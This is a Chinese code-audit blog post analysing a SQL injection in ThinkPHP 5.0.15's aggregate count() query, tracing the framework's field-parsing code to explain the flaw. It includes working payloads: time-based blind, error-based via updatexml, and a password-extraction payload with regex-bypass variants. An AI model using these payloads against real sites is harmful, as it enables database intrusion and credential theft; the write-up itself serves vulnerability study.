13-PHP代码审计——ThinkPHP5.0.15聚合查询漏洞分析
Posted songly_
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了13-PHP代码审计——ThinkPHP5.0.15聚合查询漏洞分析相关的知识,希望对你有一定的参考价值。
漏洞环境:
Thinkphp5.0.15 <= 漏洞影响版本
poc:
id),(select sleep(5)),(username
id),(updatexml(1,concat(0x7,database(),0x7e),1)
什么是聚合查询?
mysql数据库中有一张users表用于存储用户信息,假如我们想要查询users表中有多少个用户的记录,可以直接执行select * from users sql语句来获取用户的个数记录,但是这样做的效率非常低,因为我们只想查询用户的总数,前面的sql语句总是把所有的用户都查询出来了,假设users表中有成百上千的用户的话,就会消耗数据库大量的系统资源,并且有些数据对我们来说也是不必要的。
mysql数据库内置了一些聚合查询函数来实现这些操作,常用的函数如下:
sum(列名) 求和
max(列名) 最大值
min(列名) 最小值
avg(列名) 平均值
first(列名) 第一条记录
last(列名) 最后一条记录
count(列名) 统计记录数 注意和count(*)的区别
举个例子,通过聚合查询函数count来查询users表的用户记录数,如下所示:
数据库执行sql语句后,会把统计后的结果user_count返回
学习了聚合查询漏洞之后,开始分析聚合查询漏洞。
聚合查询漏洞利用程序,通过count来接收页面提交的数据:
class Index{
public function index(){
$count = input('get.count');
$data = db("users")->count($count);
printf("user_count=".$data);
}
}
正常访问网址,页面返回的结果如下:
后台返回了查询到的记录数,从调试界面可以看到执行的sql语句,既然分析的是聚合查询漏洞,那么肯定要在聚合函数上“做文章”。
访问网址提交poc:
后台执行的sql语句如上图所示,使用了时间盲注,从调试界面的RunTime可以看到sql语句执行5秒后才会返回结果,说明存在聚合查询漏洞。
使用报错注入方式,也可以利用成功:
因为sql语句在执行过程中报错了,所以调试界面没有看到执行的sql语句,实际上后台执行的sql语句是这样的:
SELECT COUNT(id),(updatexml(1,concat(0x7,database(),0x7e),1)) AS tp_count FROM `users` LIMIT 1
页面把sql语句爆出来的数据库名也显示出来了。
现在思考这样一个问题:程序将提交的数据作为参数传给count函数,那么count函数内部是如何构造sql语句的,为什么会产生sql注入?
分析聚合漏洞产生的原因,定位到count函数
count函数的参数field会接收提交的数据进行拼接,作为参数传给value函数。
分析value函数:
public function value($field, $default = null, $force = false){
$result = false;
if (empty($this->options['fetch_sql']) && !empty($this->options['cache'])) {
// 判断查询缓存
$cache = $this->options['cache'];
if (empty($this->options['table'])) {
$this->options['table'] = $this->getTable();
}
$key = is_string($cache['key']) ? $cache['key'] : md5($field . serialize($this->options) . serialize($this->bind));
$result = Cache::get($key);
}//如果没有设置查询缓存,跳过
if (false === $result) {
if (isset($this->options['field'])) {
unset($this->options['field']);
}
//构造sql语句
$pdo = $this->field($field)->limit(1)->getPdo();
if (is_string($pdo)) {
// 返回SQL语句
return $pdo;
}
$result = $pdo->fetchColumn();
if ($force) {
$result += 0;
}
if (isset($cache)) {
// 缓存数据
$this->cacheData($key, $result, $cache);
}
} else {
// 清空查询条件
$this->options = [];
}
return false !== $result ? $result : $default;
}
value函数的参数field的内容现在是这样的:COUNT(id),(updatexml(1,concat(0x7,database(),0x7e),1)) AS tp_count
value函数内执行了这行代码field() --> limit() --> getPdo(),field函数是指定查询字段,支持字段排除和指定数据表,只是将field的内容转换成一个数组,limit函数没什么好分析的
$pdo = $this->field($field)->limit(1)->getPdo();
分析field函数,以下是field部分关键代码
public function field($field, $except = false, $tableName = '', $prefix = '', $alias = ''){
......
//是否是字符串
//将field的内容取出来,以逗号进行分割,放入到数组中
if (is_string($field)) {
$field = array_map('trim', explode(',', $field));
}
......
}
field函数做了一个很关键的操作,就是将field的内容以逗号进行分析,放入到一个数组中,这个操作在后面绕过过滤函数时起到了非常重要的作用
field的内容如下
继续分析getPdo函数
public function getPdo() {
// 分析查询表达式
$options = $this->parseExpress();
// 生成查询SQL
$sql = $this->builder->select($options);
// 获取参数绑定
$bind = $this->getBind();
if ($options['fetch_sql']) {
// 获取实际执行的SQL语句
return $this->connection->getRealSql($sql, $bind);
}
// 执行查询操作
return $this->query($sql, $bind, $options['master'], true);
}
这里可以看到getPdo函数内部做了很多事情,parseExpress函数将field又放入了数组$options['field']中,内容如下:
比较有意思的是,select函数内部只调用了一个函数str_replace,前面我们也说过str_replace函数是构造sql语句的核心函数,并且也做了很多过滤操作
//生成sql查询语句
public function select($options = []){
//核心过滤函数
$sql = str_replace(
['%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'],
[
$this->parseTable($options['table'], $options),
$this->parseDistinct($options['distinct']),
$this->parseField($options['field'], $options),
$this->parseJoin($options['join'], $options),
$this->parseWhere($options['where'], $options),
$this->parseGroup($options['group']),
$this->parseHaving($options['having']),
$this->parseOrder($options['order'], $options),
$this->parseLimit($options['limit']),
$this->parseUnion($options['union']),
$this->parseLock($options['lock']),
$this->parseComment($options['comment']),
$this->parseForce($options['force']),
], $this->selectSql);
return $sql;
}
str_replace函数构造sql语句时用到了一个parseField函数(这个函数非常重要),继续分析parseField函数在构造sql语句时做了哪些事情。
分析parseField函数:
protected function parseField($fields, $options = []){
if ('*' == $fields || empty($fields)) {
//fields不为空
$fieldsStr = '*';
//fields是否为数组
} elseif (is_array($fields)) {
// 支持 'field1'=>'field2' 这样的字段别名定义
$array = [];
//将fields数组中的内容依次取出
foreach ($fields as $key => $field) {
//这里判断了key是否为数字字符串
if (!is_numeric($key)) {
$array[] = $this->parseKey($key, $options) . ' AS ' . $this->parseKey($field, $options);
} else {
//如果key是数字字符串,执行这行代码
$array[] = $this->parseKey($field, $options);
}
}
$fieldsStr = implode(',', $array);
}
return $fieldsStr;
}
parseField函数内部将fields数组中的内容挨个取出来放到key中并调用了parseKey函数过滤
分析parseKey函数对key做了哪些操作:
protected function parseKey($key, $options = []){
//提取key的值
$key = trim($key);
//匹配key的内容是否有特殊字符
if (strpos($key, '$.') && false === strpos($key, '(')) {
// JSON字段支持
list($field, $name) = explode('$.', $key);
$key = 'json_extract(' . $field . ', \\'$.' . $name . '\\')';
//匹配key是否有特殊字符
} elseif (strpos($key, '.') && !preg_match('/[,\\'\\"\\(\\)`\\s]/', $key)) {
list($table, $key) = explode('.', $key, 2);
if ('__TABLE__' == $table) {
$table = $this->query->getTable();
}
if (isset($options['alias'][$table])) {
$table = $options['alias'][$table];
}
} //正则过滤key
if (!preg_match('/[,\\'\\"\\*\\(\\)`.\\s]/', $key)) {
$key = '`' . $key . '`';
}
if (isset($table)) {
if (strpos($table, '.')) {
$table = str_replace('.', '`.`', $table);
}
$key = '`' . $table . '`.' . $key;
}
return $key;
}
trim函数首先会对key的内容进行去空格,进行特殊字符过滤,但是没有进一步对一些危险的sql函数进行过滤。
当parseField函数执行完后,会将过滤完的内容放入fieldsStr中:
parseField函数返回fieldsStr后,str_replace构造的sql语句是这样的:
数据库在执行sql语句会报错,把当前数据库暴出来
你以为漏洞分析到这里已经结束了吗?其实这里还有一个坑。
现在我们换成这个poc再提交
id),(if(ascii(substr((select password from users where id=1),1,1))>130,0,sleep(3))),(username
页面返回了数据库语法的报错,说明提交的poc没有利用成功
分析后台如何构造sql语句,定位到parseKey函数
protected function parseKey($key, $options = []){
//正则过滤key
if (!preg_match('/[,\\'\\"\\*\\(\\)`.\\s]/', $key)) {
//给key加上单引号
$key = '`' . $key . '`';
}
}
这里只贴出parseKey函数的部分关键代码,前面的sql执行报错的原因就是这个正则过滤引起的。但是一般情况下正则过滤不会被触发,只有当key的内容是纯数字或纯字母的时候才会被匹配,然后给key的内容加上单引号。
str_replace函数最终拼接成的sql语句是这样的:
sql语句中的红色部分的参数都被单引号引起来了,这个就是正则过滤的时候加上的单引号。
数据库在执行这条sql语句仍然会报错,说明是sql语句的语法存在问题
如何绕过正则?既然正则只对纯数字,那么我们可以使用表达式或者括号的方式进行绕过:
//表达式绕过
id),(if(ascii(substr((select password from users where id=1),1*1,1))>130,0*1,sleep(3))),(username
//括号绕过
id),(if(ascii(substr((select password from users where id=1),(1),1))>130,(0),sleep(3))),(username
这里就不再演示了,大家可以自己测试一下。
到这里,漏洞分析结束。
以上是关于13-PHP代码审计——ThinkPHP5.0.15聚合查询漏洞分析的主要内容,如果未能解决你的问题,请参考以下文章